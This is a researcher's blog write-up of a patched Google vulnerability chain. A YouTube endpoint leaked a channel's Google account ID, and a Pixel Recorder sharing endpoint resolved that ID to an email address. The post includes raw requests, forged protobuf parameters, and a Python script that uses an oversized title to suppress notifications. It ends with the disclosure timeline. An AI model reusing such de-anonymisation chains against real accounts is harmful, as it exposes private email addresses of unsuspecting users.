< Back

Leaking the email of any YouTube user for $10,000

2025-02-12

Some time ago, I was looking for a research target in Google and was digging through the Internal People API (Staging) discovery document until I noticed something interesting:

   "BlockedTarget": {
      "id": "BlockedTarget",
      "description": "The target of a user-to-user block, used to specify creation/deletion of blocks.",
      "type": "object",
      "properties": {
        "profileId": {
          "description": "Required. The obfuscated Gaia ID of the user targeted by the block.",
          "type": "string"
        },
        "fallbackName": {
          "description": "Required for `BlockPeopleRequest`. A display name for the user being blocked. The viewer may see this in other surfaces later, if the blocked user has no profile name visible to them. Notes: * Required for `BlockPeopleRequest` (may not currently be enforced by validation, but should be provided) * For `UnblockPeopleRequest` this does not need to be set.",
          "type": "string"
        }
      }
    },

It seemed the Google-wide block user functionality was based on an obfuscated Gaia ID as well as a display name for that blocked user. The obfuscated Gaia ID is just a Google account identifier.

That seemed perfectly fine until I remembered this support page:

So, if you block someone on YouTube, you can leak their Google account identifier? I tested it out. I went to a random livestream, blocked a user and sure enough, it showed up in https://myaccount.google.com/blocklist

The fallback name was set as their channel name Mega Prime and the profile ID was their obfuscated Gaia ID 107183641464576740691

This was super strange to me because YouTube should never leak the underlying Google account of a YouTube channel. In the past, there's been several bugs to resolve these to an email address, so I was confident there was still a Gaia ID to Email in some old obscure Google product.

Escalating this to 4 billion YouTube channels

So, we can leak the Gaia ID of any live chat user, but can we escalate this to all channels on YouTube? As it turns out, when you click the 3 dots just to open the context menu, a request is fired:


Request

POST /youtubei/v1/live_chat/get_item_context_menu?params=R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlExTkZMV0ZaVDJJdGRVTm5NRFU1Y1VoU2FYTmZiM2M9&pbj=1&prettyPrint=false HTTP/2
Host: www.youtube.com
Cookie: <redacted>

Response

HTTP/2 200 OK
Content-Type: application/json; charset=UTF-8
Server: scaffolding on HTTPServer2

{
  ...
  "serviceEndpoint": {
    ...
    "commandMetadata": {
      "webCommandMetadata": {
        "sendPost": true,
        "apiUrl": "/youtubei/v1/live_chat/moderate"
      }
    },
    "moderateLiveChatEndpoint": {
      "params": "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEV6T1RBM05EWTJOVE0zTmpjd016Y3dOVGt3RWhaVFJTMWhXVTlpTFhWRFp6QTFPWEZJVW1selgyOTNjQUElM0Q="
    }
  }
  ...
}

That params is nothing more than just base64 encoded protobuf, which is a common encoding format used throughout Google.

If we try decoding that moderateLiveChatEndpoint params:

$ echo -n "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEV6T1RBM05EWTJOVE0zTmpjd016Y3dOVGt3RWhaVFJTMWhXVTlpTFhWRFp6QTFPWEZJVW1selgyOTNjQUElM0Q=" | base64
 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw
1 {
  5 {
    1: "UChs0pSaEoNLV4mevBFGaoKA"
    2: "36YnV9STBqc"
  }
}
10: 0
11: 1
12 {
  1: "113907466537670370590"
  2: "SE-aYOb-uCg059qHRis_ow"
}
14: 0

It actually just contains the Gaia ID of the user we want to block, we don't even need to block them!

Let's check out the get_item_context_menu requests params too:

$ echo -n "R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlExTkZMV0ZaVDJJdGRVTm5NRFU1Y1VoU2FYTmZiM2M9" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw
3 {
  5 {
    1: "UChs0pSaEoNLV4mevBFGaoKA"
    2: "36YnV9STBqc"
  }
}
6 {
  1: "UCSE-aYOb-uCg059qHRis_ow"
}

Seems to just contain the channel ID of the channel we're blocking, the livestream video ID and livestream author ID. Let's try to fake the request params with our own target's channel ID.

For this test, we'll use a Topic Channel since they are auto-generated by YouTube and guaranteed to not have any live chat messages.

$ echo -n "<SNIP>" | base64 -d | sed 's/%3D/=/g' | base64 -d | sed 's/UCSE-aYOb-uCg059qHRis_ow/UCD2LZAT1j1DyVXq2R2BdusQ/g' | base64 | base64
R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlEwUXlURnBCVkRGcQpNVVI1VmxoeE1sSXlRbVIxYzFFPQo=

Testing this on /youtubei/v1/live_chat/get_item_context_menu:

...
"moderateLiveChatEndpoint":{"params":"Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEF6TWpZeE9UYzBNakl4T0RJNU9Ea3lNVFkzRWhaRU1reGFRVlF4YWpGRWVWWlljVEpTTWtKa2RYTlJjQUElM0Q="}
...
echo -n "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEF6TWpZeE9UYzBNakl4T0RJNU9Ea3lNVFkzRWhaRU1reGFRVlF4YWpGRWVWWlljVEpTTWtKa2RYTlJjQUElM0Q=" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw
1 {
  5 {
    1: "UChs0pSaEoNLV4mevBFGaoKA"
    2: "36YnV9STBqc"
  }
}
10: 0
11: 1
12 {
  1: "103261974221829892167"
  2: "D2LZAT1j1DyVXq2R2BdusQ"
}
14: 0

We can leak the Gaia ID of the channel - 103261974221829892167

The missing puzzle piece: Pixel Recorder

I told my friend nathan about the YouTube Gaia ID leak and we started looking into old forgotten Google products since they probably contained some bug or logic flaw to resolve a Gaia ID to an email. Pixel Recorder was one of them. Nathan made a test recording on his Pixel phone and synced it to his Google account so we could access the endpoints on the web at https://recorder.google.com:

When we tried sharing the recording to a test email, that's when it hit us:

Request

POST /$rpc/java.com.google.wireless.android.pixel.recorder.protos.PlaybackService/WriteShareList HTTP/2
Host: pixelrecorder-pa.clients6.google.com
Cookie: <redacted>
Content-Length: 80
Authorization: <redacted>
X-Goog-Api-Key: AIzaSyCqafaaFzCP07GzWUSRw0oXErxSlrEX2Ro
Content-Type: application/json+protobuf
Referer: https://recorder.google.com/

["7adab89e-4ace-4945-9f75-6fe250ccbe49",null,[["113769094563819690011",2,null]]]

Response

HTTP/2 200 OK
Content-Type: application/json+protobuf; charset=UTF-8
Server: ESF
Content-Length: 138

["28bc3792-9bdb-4aed-9a78-17b0954abc7d",[[null,2,"[email protected]"]]]

This endpoint was taking in the obfuscated Gaia ID and... returning the email?

We tested this with the obfuscated Gaia ID 107183641464576740691 we got from blocking that user on YouTube a while back and it worked:

HTTP/2 200 OK
Content-Type: application/json+protobuf; charset=UTF-8
Server: ESF
Content-Length: 138

["28bc3792-9bdb-4aed-9a78-17b0954abc7d",[[null,2,"[email protected]"],[null,2,"[email protected]"]]]

A small problem: preventing notification to the target

It seems that whenever we share a recording with a victim, they receive an email that looks like this:


This is really bad, and it would lower the impact of the bug quite a lot. On the share pop-up, there didn't seem to be any option to disable notifications.

I tried leaking the full request proto via my tool req2proto, but there was nothing about disabling the email notification:

syntax = "proto3";

package java.com.google.wireless.android.pixel.recorder.protos;

import "java/com/google/wireless/android/pixel/recorder/sharedclient/acl/protos/message.proto";

message WriteShareListRequest {
  string recording_id = 1;
  string delete_obfuscated_gaia_ids = 2;
  ShareUser update_shared_users = 3;
  string sharing_message = 4;
}

message ShareUser {
  string obfuscated_gaia_id = 1;
  java.com.google.wireless.android.pixel.recorder.sharedclient.acl.protos.ResourceAccessRole role = 2;
  string email = 3;
}

Even trying to add and remove the user at the same time didn't work, the email was still sent. But that's when we realized - if it's including our recording title in the email subject, perhaps it wouldn't be able to send an email if our recording title was too long.

We hacked together a quick python script to test this out:

import requests

BASE_URL = "https://pixelrecorder-pa.clients6.google.com/$rpc/java.com.google.wireless.android.pixel.recorder.protos.PlaybackService/"

headers = {
    "Host": "pixelrecorder-pa.clients6.google.com",
    "Content-Type": "application/json+protobuf",
    "X-Goog-Api-Key": "AIzaSyCqafaaFzCP07GzWUSRw0oXErxSlrEX2Ro",
    "Origin": "https://recorder.google.com"
}

def get_recording_uuid(share_id: str):
    payload = f"[\"{share_id}\"]"
    response = requests.post(BASE_URL + "GetRecordingInfo" + "?alt=json", headers=headers, data=payload)
    if response.status_code != 200:
        print("unknown error when getting recording uuid: ", response.json())
        exit(1)
    try:
        response = response.json()
    except:
        print('can\'t parse response when getting recording uuid: ', response.text)
        exit(1)

    return response["recording"]["uuid"]

def update_recording_title(share_id: str):
    x = 'X'*2500000 # 2.5 million char long title name!
    payload = f'["{share_id}","{x}"]'
    response = requests.post(BASE_URL + "UpdateRecordingTitle" + "?alt=json", headers=headers, data=payload)
    if response.status_code != 200:
        print("unknown error when updating recording title: ", response.json())
        exit(1)

def main():
    share_id = input("Enter share ID: ")
    headers["Cookie"] = input("Cookie header:" )
    headers["Authorization"] = input("Authorization header: ")
    uuid = get_recording_uuid(share_id)
    print("UUID:", uuid)
    update_recording_title(uuid)
    print("Updated recording title successfully.")

if __name__ == "__main__":
    main()

... and the recording title was now 2.5 million letters long! There wasn't any server-side limit to the length of a recording name.


Trying to share the recording with a different test user... bingo! No notification email.

Putting it all together

We basically have the full attack chain, we just have to put it together.

  1. Leak the obfuscated Gaia ID of the YouTube channel from the Innertube endpoint /get_item_context_menu
  2. Share the Pixel recording with an extremely long name with the target to convert the Gaia ID to an email
  3. Remove the target from the Pixel recording (cleanup)

Here's a POC of the exploit in action:

Timeline

  • 15/09/24 - Report sent to vendor
  • 16/09/24 - Vendor triaged report
  • 16/09/24 - 🎉 Nice catch!
  • 03/10/24 - Panel marks it as duplicate of existing-tracked bug, does botched patch of initial YouTube obfuscated Gaia ID disclosure
  • 03/10/24 - Clarified to vendor that they haven't recognized Pixel recorder as vulnerability itself (since obfuscated Gaia IDs are leaked for Google Maps/Play reviewers) and provided vendor a work-around method to once again leak YouTube channel obfuscated Gaia IDs
  • 05/11/24 - Panel awards $3,133. Rationale: Exploitation likelihood is medium. Issue qualified as an abuse-related methodology with high impact.
  • 03/12/24 - Product team sent report back to panel for additional reward consideration, coordinates disclosure for 03/02/2025
  • 12/12/24 - Panel awards an additional $7,500. Rationale: Exploitation likelihood is high. Issue qualified as an abuse-related methodology with high impact. Applied 1 downgrade from the base amount due to complexity of attack chain required.
  • 29/01/25 - Vendor requests extension for disclosure to 12/02/2025
  • 09/02/25 - Confirm to vendor that both parts of the exploit have been fixed (T+147 days since disclosure)
  • 12/02/25 - Report disclosed

You can contact me via signal icon or email icon